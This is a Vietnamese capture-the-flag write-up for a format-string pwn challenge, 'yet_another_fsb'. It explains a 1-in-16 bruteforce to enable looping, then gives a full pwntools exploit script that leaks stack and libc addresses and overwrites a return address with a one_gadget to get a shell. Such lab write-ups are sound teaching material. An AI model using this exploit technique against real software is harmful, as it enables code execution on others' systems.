## yet_another_fsb checksec : ![image](https://hackmd.io/_uploads/rJuQ_sCrJg.png) - 1 bài fsb brutefoce , nhìn vào ta thấy được có 1 bug fsb , tuy nhiên nếu muốn loop vô hạn thì ta phải sửa được giá trị v5 != 0 , và đây có lẽ là điều khó khăn nhất ở bài này ![image](https://hackmd.io/_uploads/BkGM_jRH1e.png) - đây là stack của ta tại ```printf``` ![image](https://hackmd.io/_uploads/ByZ0djASke.png) - ở đây ban đầu mình nghĩ là cần sử dụng 1 con trỏ stack(A) đang trỏ đến địa chỉ stack khác(B) , lúc này ta cần ghi địa chỉ B thành địa chỉ chứa giá trị cần ghi ("C") , sau đó ghi C thành giá trị cần ghi nó sẽ như thế này : ``` A->B C->value A->C cuối cùng là ghi C thành giá trị khác 0 ``` - tuy nhiên vì chỉ được ghi 1 lần nên cách này có vẻ khá rắc rối , ta cần dùng cách khác , nếu để ý kĩ thì 4bit cuối cùng của giá trị cần ghi luôn là 'e' và offset thứ 21 ta có thể control được , vậy ở đây ta sẽ overwrite 1 byte của offset21 sao cho 4bit cuối sẽ luôn là e -> ta sẽ bruteforce 4 bit (2^4 = 16) , tỉ lệ sẽ là 1/16 ``` giá trị cần ghi : 0x7fffffffd8be offset 21 : 0x00007fffffffd888 ``` ![image](https://hackmd.io/_uploads/SJROooAB1e.png) - bruteforce xong rồi thì phần còn lại ta có thể leak_stack hoặc overwrite GOT (bài này là RELRO 1 phần) script ```python #!/usr/bin/env python3 from pwn import * exe = ELF("./yet_another_fsb_patched") libc = ELF("./libc.so.6") ld = ELF("./ld-linux-x86-64.so.2") context.binary = exe p = process() HOST = "775be8f93719361fa898224c7cf5d114.chal.ctf.ae" p = remote(HOST, 443, ssl=True, sni=HOST) #gdb.attach(p,gdbscript=''' # b*0x00000000004011ea # b*0x00000000004011ef # ''') input() sleep(1) payload = b'%254c%27$hhn' payload += b'|%43$p|%41$p|' payload += b'\xfe' * (0xa9 - len(payload)) p.send(payload) sleep(0.5) p.recvuntil(b'|') stack = int(p.recvuntil(b'|')[:-1], 16) stack_write = stack - 0x120 log.info(f"stack {hex(stack)}") libc.address = int(p.recvuntil(b'|')[:-1], 16) - (0x7f7be8cf9c88 - 0x7f7be8cd4000) log.info(f"libc: {hex(libc.address)}") one_gadget = 0xff2ef + libc.address pop_rdi = 0x00000000000fd8c4+ libc.address system = libc.sym.system bin_sh = next(libc.search(b'/bin/sh\x00')) write = { stack_write:one_gadget, stack_write-10:0 } payload = fmtstr_payload(6,write,write_size='short') p.sendline(payload) p.interactive() ``` ![image](https://hackmd.io/_uploads/rkUFD1kIyx.png)